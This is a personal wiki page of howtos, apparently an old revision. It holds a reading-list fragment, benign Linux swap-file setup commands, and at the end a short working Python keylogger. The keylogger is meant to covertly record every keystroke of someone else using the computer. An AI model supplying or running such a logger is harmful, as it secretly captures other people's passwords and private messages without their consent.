howtos

readinglist
authorEvans
summary

The first in his Third Reich Trilogy and likely to be the one I find most useful today. I'd like to take particular care to compare it against The Death of Democracy.

statusreading

This is an old revision of the document!


HOWTOs

Instructions for performing tasks that I do often enough to need to know but infrequently enough to never remember the details.

These commands should all be performed with root permissions. The instructions below assume a destination path of /swapfile and file size of 1 GiB.

First, allocate space:

fallocate -l 1G /swapfile
# alternatively
dd if=/dev/zero of=/swapfile bs=1024 count=1048576

Ensure only root can read the swap file's contents:

chmod 600 /swapfile

Finally, activate and enable the swap file:

mkswap /swapfile
swapon /swapfile

To have the swap automount on boot, add the following to /etc/fstab:

/swapfile swap swap defaults 0 0

Let's say you need to hand your computer over to someone you don't fully trust and want to check on their usage afterward.

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))
    
with Listener(on_press=on_press) as listener:
    listener.join()

  • howtos.1672365117.txt.gz
  • Last modified: 2022-12-30 01:51
  • by asdf